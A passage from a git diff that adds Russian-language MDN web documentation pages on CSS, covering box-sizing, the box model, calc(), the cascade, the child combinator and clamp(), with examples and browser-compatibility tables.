+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Content box width: 160px
+     Content box height: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Total width: 160px
+     Total height: 80px
+     Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', 'auto', 300)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совмествимость с браузерами</h2>
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/box_model" title="CSS/Box model">Блоковая модель CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/box_model/index.html b/files/ru/web/css/box_model/index.html
new file mode 100644
index 0000000000..6868871c5a
--- /dev/null
+++ b/files/ru/web/css/box_model/index.html
@@ -0,0 +1,66 @@
+---
+title: 'Блоковая модель (боксовая модель, box model)'
+slug: Web/CSS/box_model
+tags:
+  - CSS
+  - Guide
+  - Веб
+translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+---
+<h2 id="Описание">Описание</h2>
+
+<p>В HTML-документе каждому элементу на странице соответствует прямоугольная область (бокс или блок). Движок рендеринга в браузере определяет размеры и положение боксов на странице, а также их свойства вроде цвета, фоновой картинки для того, чтобы отобразить их на экране.</p>
+
+<p>В языке CSS есть специальная боксовая модель (также блоковая модель или блочная модель, англ. <span lang="en">box model</span>), которая описывает, из чего состоит бокс и какие свойства влияют на его размеры. В ней у каждого бокса есть 4 области: <strong>margin </strong>(внешние отступы), <strong>border </strong>(рамка), <strong>padding </strong>(внутренние поля), и <strong>content </strong>(контент или содержимое).</p>
+
+<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
+
+<p><a name="content"><strong>Внутренняя область</strong> элемента (<strong>content area</strong>) содержит текст и другие элементы, расположенные внутри (<em>контент</em> или <em>содержимое</em>). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри <em>content edge</em>; её размеры называются <em>ширина контента</em> (<em>content width</em> или <em>content-box width)</em>, и <em>высота контента</em> (<em>content height</em> или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»</a></p>
+
+<p>По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.</p>
+
+<p><a name="padding">Поля элемента (<strong>padding area)</strong> — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (<em>padding edge)</em>.</a></p>
+
+<p>Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.</p>
+
+<p><a name="border">Область рамки (<strong>border area)</strong> окружает поля элемента, а ее граница называется края рамки (<em>border edge).</em> Ширина рамки задается отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.</a></p>
+
+<p><a name="margin">Отступы (<strong>margin area)</strong> добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.</a></p>
+
+<p>Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.</p>
+
+<p>Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (<a href="/ru/docs/Web/CSS/margin_collapsing" title="ru/CSS/margin_collapsing">margin collapsing</a>). Схлопываются только вертикальные отступы.</p>
+
+<p>Для элементов с {{ cssxref("display") }}<code>: inline</code> (или <code>inline-block, inline-table</code>) на занимаемое по высоте место также влияет значение свойства {{ cssxref('line-height') }}.</p>
+
+<h2 id="Стандарты">Стандарты</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Стандарт</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="http://www.w3.org/TR/CSS21/box.html#box-dimensions" title="http://www.w3.org/TR/CSS21/box.html#box-dimensions">CSS Level 2 (revision 1)</a></td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Though more precisely worded, there is no practical change</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://www.w3.org/TR/REC-CSS1/#formatting-model" title="http://www.w3.org/TR/REC-CSS1/#formatting-model">CSS Level 1</a></td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/CSS/CSS_Reference">Справочник по CSS</a></li>
+ <li>{{ CSS_key_concepts() }}</li>
+ <li>Связанные свойства: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li>
+</ul>
diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html
new file mode 100644
index 0000000000..6f5b561a35
--- /dev/null
+++ b/files/ru/web/css/calc()/index.html
@@ -0,0 +1,210 @@
+---
+title: Функция calc()
+slug: Web/CSS/calc()
+tags:
+  - css calc
+translation_of: Web/CSS/calc()
+---
+<div>{{CSSRef}}</div>
+
+<p><code>calc()</code> - это функция CSS, которая даёт возможность расчитать значения свойств CSS во время их определения. Она может быть использована везде, где применимы {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;number&gt;")}}, или {{cssxref("&lt;integer&gt;")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/function-calc.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code>calc()</code> принимает в качестве параметра математическое выражение, результат вычисления которого можно использовать как значение CSS свойства. Выражение может включать операторы +, -, *, / <span id="result_box" lang="ru"><span class="hps">с использованием стандартных</span> <span class="hps">правил</span> <span class="hps">приоритета операторов</span></span>:</p>
+
+<dl>
+ <dt><strong>+</strong></dt>
+ <dd>Сложение</dd>
+ <dt><strong>-</strong></dt>
+ <dd>Вычитание.</dd>
+ <dt><strong>*</strong></dt>
+ <dd>Умножение. По крайней мере хоть один из сомножителей должен быть {{cssxref("&lt;number&gt;")}}.</dd>
+ <dt><strong>/</strong></dt>
+ <dd>Деление. Делитель должен быть  {{cssxref("&lt;number&gt;")}}.</dd>
+</dl>
+
+<p>Операнды в expression могут быть различными выражениями {{cssxref("&lt;length&gt;")}}. Если пожелаете, то можете использовать разные единицы измерения для каждого из операндов. Вы также можете использовать скобки, чтобы указать порядок вычисления.</p>
+
+<div class="note"><strong>Внимание:</strong> Деление на ноль выдаст ошибку при парсинге HTML.</div>
+
+<div class="note"><strong>Note:</strong> Операторы + и - всегда должны быть по обеим сторонам отеделены пробелом. Выражение <code>calc(50% -8px)</code> будет интерпретировано как величина в процентах и следующее за ним отрицательное число в пикселях (не верное выражение), в то время как <code>calc(50% - 8px)</code> - правильное выражение, будет интерпретировано как вычитание из процентов длины в пикселях.<br>
+Операторы * и / не требуют отделения от операндов знаком пробела, но это не запрещено и даже приветствуется.</div>
+
+<dl>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">calc(<em>expression</em>)</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Позиционирование_объекта_в_окне_с_помощью_отступа">Позиционирование объекта в окне с помощью отступа</h3>
+
+<p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. </p>
+
+<pre class="brush: css notranslate">.banner {
+  position: absolute;
+  left: 5%;                 /* для браузеров не поддерживающих calc() */
+  left: calc(40px);
+  width: 90%;               /* для браузеров не поддерживающих calc() */
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="banner"&gt;Это баннер!&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('%D0%9F%D0%BE%D0%B7%D0%B8%D1%86%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%B0_%D0%B2_%D0%BE%D0%BA%D0%BD%D0%B5_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BE%D1%82%D1%81%D1%82%D1%83%D0%BF%D0%B0', '100%', '60') }}</p>
+
+<h3 id="Автоматическое_изменение_размера_формы_ввода_для_соответствия_размеру_контейнера">Автоматическое изменение размера формы ввода для соответствия размеру контейнера</h3>
+
+<p>В следующем случае <code>calc()</code> помогает обеспечить не выпадание полей формы за края блока, задав отступ.</p>
+
+<p>Давайте посмотрим некоторый код CSS:</p>
+
+<pre class="brush: css notranslate">input {
+  padding: 2px;
+  display: block;
+  width: 98%;               /* для браузеров, не поддерживающих calc() */
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: 130px;             /* для браузеров, не поддерживающих calc() */
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}
+</pre>
+
+<p>Здесь ширина формы становится 1/6 от ширины окна. Затем, чтобы задать  размер полей, мы вновь используем функцию <code>calc()</code>, которая вычитает 1em из ширины блока. Теперь применим этот CSS к следущему HTML-коду:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div id="formbox"&gt;
+  &lt;label&gt;Type something:&lt;/label&gt;
+  &lt;input type="text"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('%D0%90%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%B0_%D1%84%D0%BE%D1%80%D0%BC%D1%8B_%D0%B2%D0%B2%D0%BE%D0%B4%D0%B0_%D0%B4%D0%BB%D1%8F_%D1%81%D0%BE%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D1%83_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%B9%D0%BD%D0%B5%D1%80%D0%B0', '100%', '80') }}</p>
+
+<h3 id="Вложенный_calc_с_CSS_переменными">Вложенный <code>calc()</code> с CSS переменными</h3>
+
+<p>Вы также можете использовать <code>calc()</code> с CSS переменными. Рассмотрим пример кода:</p>
+
+<pre class="notranslate">.foo {
+  --widthA: 100px;
+  --widthB: calc(var(--widthA) / 2);
+  --widthC: calc(var(--widthB) / 2);
+  width: var(--widthC);
+}</pre>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Замечания</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>19 (WebKit 536.3) {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoDesktop("2")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16")}}</td>
+   <td>9</td>
+   <td>-</td>
+   <td>6 {{property_prefix("-webkit")}} (buggy)<br>
+    7</td>
+  </tr>
+  <tr>
+   <td>On gradients' color stops</td>
+   <td>19 (WebKit 536.3) {{property_prefix("-webkit")}}<br>
+    27 (maybe 26)</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>9</td>
+   <td>-</td>
+   <td>6 {{property_prefix("-webkit")}} (buggy)<br>
+    7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>&lt;= 2.3.6 not supported</td>
+   <td>{{CompatGeckoMobile("2")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>&lt;= IOs 6.1.3 not supported<br>
+    6 {{property_prefix("-webkit")}}<br>
+    7</td>
+  </tr>
+  <tr>
+   <td>On gradients' color stops</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/06/css3-calc/" title="Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog">Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog</a></li>
+</ul>
diff --git a/files/ru/web/css/cascade/index.html b/files/ru/web/css/cascade/index.html
new file mode 100644
index 0000000000..f1c17ceff6
--- /dev/null
+++ b/files/ru/web/css/cascade/index.html
@@ -0,0 +1,154 @@
+---
+title: Cascade
+slug: Web/CSS/Cascade
+translation_of: Web/CSS/Cascade
+---
+<p>{{ CSSRef() }}</p>
+
+
+
+<p>Каскадность это алгоритм, который определяет как совмещать и сочетать значения свойств происходящих из различных источников(CSS правила могут располагаться как в самом веб-документе, так и во внешних файлах). Данный алгоритм лежит в основе CSS, как можно понять из его названия: <em>Cascading</em> Style Sheets(<em>Каскадные </em>Таблицы Стилей). Данная статья объясняет что такое каскадность, порядок в котором определяется какие свойства будут в конечном итоге выполнены и как это затрагивает вас, веб разработчика.</p>
+
+<h2 id="What_CSS_entities_participate_in_the_cascade">What CSS entities participate in the cascade</h2>
+
+<p>Only CSS declarations, that is property/value pairs, participate in the cascade. That means that at-rules containing entities other than declarations, like  {{ cssxref("@font-face")}} containing <em>descriptors</em> don't participate in the cascade. In these case, only the at-rule as the whole participates in the cascade; here the @font-face identified by its <code>font-family</code> descriptor. If several <code>@font-face</code> with the same descriptor are defined, only the most adequate <code>@font-face</code>, as a whole, is considered.</p>
+
+<p>If the declarations contained in most <a href="/en-US/docs/CSS/At-rule" title="/en-US/docs/CSS/At-rule">at-rules</a> participate in the cascade, like declarations contained in {{cssxref("@media")}}, {{cssxref("@documents")}}, or {{cssxref("@supports")}}, declarations contained in {{cssxref("@keyframes")}} doesn't. Like for {{cssxref("@font-face")}}, only the at-rule as a whole is selected via the cascade algorithm.</p>
+
+<p>Finally note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.</p>
+
+<h2 id="Origin_of_CSS_declarations">Origin of CSS declarations</h2>
+
+<p>The CSS cascade algorithm wants to select CSS declarations to set the correct value for CSS properties. CSS declarations originate from different origins:</p>
+
+<ul>
+ <li>The browser has a basic style sheet that gives a default style to any document. These style sheets are named <strong>user-agent stylesheets</strong>. Some browsers uses actual style sheets to perform this, while others simulate them in code, but both cases should be indetectable. Some browsers also allow users to modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To ease their development and lower the basic ground on which to work, Web developers often use a CSS reset style sheet, forcing common properties values to a known state.</li>
+ <li>The author of the Web page define styles for the document. These are the most common style sheets. Most of the time several of them are defined and they make the look and feel of the Web site — its theme.</li>
+ <li>The <em>reader</em>, the user of the browser, may have a custom style sheet to tailor its experience.</li>
+</ul>
+
+<p>Though style sheets come from these different origins, they overlap in scope: the cascade algorithm defines how they interact.</p>
+
+<h2 id="Cascading_order">Cascading order</h2>
+
+<p>The cascading algorithm determines how to find the value to apply for each property for each document element.</p>
+
+<ol>
+ <li>It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.</li>
+ <li>Then it sorts these rules according to their importance, that is, whether or not they are followed by <code>!important</code>, and by their origin. The cascade is in ascending order, which means that <code>!important</code> values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet:
+  <table class="standard-table">
+   <thead>
+    <tr>
+     <th scope="col"></th>
+     <th scope="col">Origin</th>
+     <th scope="col">Importance</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td>1</td>
+     <td>user agent</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>2</td>
+     <td>user</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>3</td>
+     <td>author</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>4</td>
+     <td>CSS Animations</td>
+     <td><em>see below</em></td>
+    </tr>
+    <tr>
+     <td>5</td>
+     <td>author</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>6</td>
+     <td>user</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>7</td>
+     <td>user agent*</td>
+     <td><code>!important</code></td>
+    </tr>
+   </tbody>
+  </table>
+  <span style="font-size: 1rem; letter-spacing: -0.00278rem;">* based on <a href="https://www.w3.org/TR/css-cascade-3/#importance">w3.org CSS3 specs</a></span></li>
+</ol>
+
+<ol>
+ <li>In case of equality, the <a href="/en-US/docs/CSS/Specificity" title="/en-US/docs/CSS/Specificity">specificity</a> of a value is considered to choose one or the other.</li>
+</ol>
+
+<h2 id="CSS_animations_and_the_cascade">CSS animations and the cascade</h2>
+
+<p><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">CSS Animations</a>, using {{ cssxref("@keyframes")}} at-rules defines animations between states. Keyframes don't cascade, meaning that at any time CSS takes values from one single <code>@keyframes</code> and never mixes several of them.</p>
+
+<p>When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.</p>
+
+<p>Also note that values within <code>@keyframes</code> at-rules overwrite all normal values but are overwritten by <code>!important</code> values.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><strong>User-agent CSS:</strong></p>
+
+<pre>li { margin-left: 10px }</pre>
+
+<p><strong>Author CSS 1:</strong></p>
+
+<pre>li { margin-left: 0 } /* This is a reset */</pre>
+
+<p><strong>Author CSS 2:</strong></p>
+
+<pre>@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+</pre>
+
+<p><strong>User CSS:</strong></p>
+
+<pre>.specific { margin-left: 1em }</pre>
+
+<p><strong>HTML:</strong></p>
+
+<pre>&lt;ul&gt;
+  &lt;li class="specific"&gt;1&lt;sup&gt;st&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;2&lt;sup&gt;nd&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>In this case, declarations inside <code>li</code> and <code>.specific</code> rules should apply. No declaration is marked as <code>!important</code> so the precedence order is author style sheets before user style sheets or user-agent stylesheet.</p>
+
+<p>So three declarations are in competition:</p>
+
+<pre>margin-left: 0</pre>
+
+<pre>margin-left: 3px</pre>
+
+<pre>margin-left: 1px</pre>
+
+<p>The last one is ignored (on a screen), and the two first have the same selector, hence the same specificity: it is the last one that is then selected:</p>
+
+<pre>margin-left: 3px</pre>
+
+<p>Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The very simple <a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Cascading_and_inheritance" title="/en-US/docs/">introduction</a> of cascading in the CSS Tutorial.</li>
+ <li>{{CSS_Key_Concepts()}}</li>
+</ul>
diff --git a/files/ru/web/css/child_combinator/index.html b/files/ru/web/css/child_combinator/index.html
new file mode 100644
index 0000000000..c7c42c79da
--- /dev/null
+++ b/files/ru/web/css/child_combinator/index.html
@@ -0,0 +1,112 @@
+---
+title: Селектор дочерних элементов
+slug: Web/CSS/Child_combinator
+translation_of: Web/CSS/Child_combinator
+---
+<p>{{CSSRef("Selectors")}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><code>Комбинатор &gt;</code> разделяет 2 селектора, находит элементы заданные вторым селектором, являющие <strong>прямыми </strong>потомками для элементов отобранных первым селектором. Напротив, два селектора в <a href="/ru/docs/Web/CSS/Descendant_selectors">селекторе потомков</a>  находят элементы не обязательно являющиеся прямыми потомками, т.е. несмотря на количество "прыжков" до них в DOM.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">selector1 &gt; selector2 { <em>style properties</em> }
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">span { background-color: white; }
+div &gt; span {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span 1 в div
+    &lt;span&gt;Span 2 в span, который в div&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span 3. Не в div вообще&lt;/span&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 100) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#child-combinators', 'child combinator') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#child-combinators', 'child combinators') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>7.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/clamp()/index.html b/files/ru/web/css/clamp()/index.html
new file mode 100644
index 0000000000..d876cc3d6c
--- /dev/null
+++ b/files/ru/web/css/clamp()/index.html
@@ -0,0 +1,108 @@
+---
+title: clamp()
+slug: Web/CSS/clamp()
+translation_of: Web/CSS/clamp()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a>-функция <strong><code>clamp()</code></strong> задаёт значение в диапазоне между указанными нижней и верхней границами. Функция принимает три аргумента: минимальное значение, предпочитаемое значение и максимально допустимое. Может использоваться везде, где допускается применение {{CSSxRef("&lt;length&gt;")}}, {{CSSxRef("&lt;frequency&gt;")}}, {{CSSxRef("&lt;angle&gt;")}}, {{CSSxRef("&lt;time&gt;")}}, {{CSSxRef("&lt;percentage&gt;")}}, {{CSSxRef("&lt;number&gt;")}}, или {{CSSxRef("&lt;integer&gt;")}}.</p>
+
+<p><code>clamp(MIN, VAL, MAX)</code> вычисляется как <code>{{CSSxRef("max", "max")}}(MIN, {{CSSxRef("min", "min")}}(VAL, MAX))</code></p>
+
+<pre class="brush: css; no-line-numbers notranslate">/* свойство: clamp(expression{3}) */
+width: clamp(10px, 4em, 80px);</pre>
+
+<p>В примере выше ширина будет не меньше 10px и не больше 80px. Но если размер одного "em" будет находиться в диапазоне от 2.5px до 20px (в сумме от 10px до 80px), то ширина будет равняться этим 4em.</p>
+
+<p>Давайте предположим, что в примере выше 1em равен 16px:</p>
+
+<pre class="brush: css; no-line-numbers notranslate">width: clamp(10px, 4em, 80px);
+/* если 1em = 16px, 4em = (16px * 4) = 64px */
+width: clamp(10px, 64px, 80px);
+/* clamp(MIN, VAL, MAX) вычисляется как max(MIN, min(VAL, MAX))) */
+width: max(10px, min(64px, 80px))
+width: max(10px, 64px);
+width: 64px;</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code>clamp()</code> принимает в качестве аргументов три разделённых запятой выражения, указываемых в порядке: минимальное значение, предпочитаемое значение, максимальное значение.</p>
+
+<p><em>Минимальное значение</em> – наименьшее значение, являющееся нижней границей диапазона допустимых значений. Если "предпочитаемое" значение меньше "минимального", будет использоваться именно "минимальное".</p>
+
+<p><em>Предпочитаемое значение</em> – это выражение, чей результат будет использовать до тех пор, пока будет оставаться в пределах допустимого диапазона значений.</p>
+
+<p><em>Максимальное значение</em> – наибольшее значение, которое будет устанавливаться, если предпочитаемое будет превышать верхную границу допустимого диапазона.</p>
+
+<p>Передаваемые значения могут быть математическими функциями (более подробно смотрите на {{CSSxRef("calc")}}), точными значениями, или другими выражениями, такими как {{CSSxRef("attr", "attr()")}}, результатом которых является допустимый тип аргумента (как например {{CSSxRef("&lt;length&gt;")}}), или вложенные {{CSSxRef("min")}} и {{CSSxRef("max")}} функции. Для математических выражений можно использовать сложение, вычитание, умножение и деление без использования функции <code>calc()</code>. Также, можно использовать круглые скобки, чтобы задать порядок вычисление.</p>
+
+<p>Можно использовать разные единицы измерения для каждого значения в выражении и разные единицы измерения в любой математической функции, .являющейся частью любого из аргументов.</p>
+
+<h3 id="Примечания">Примечания</h3>
+
+<ul>
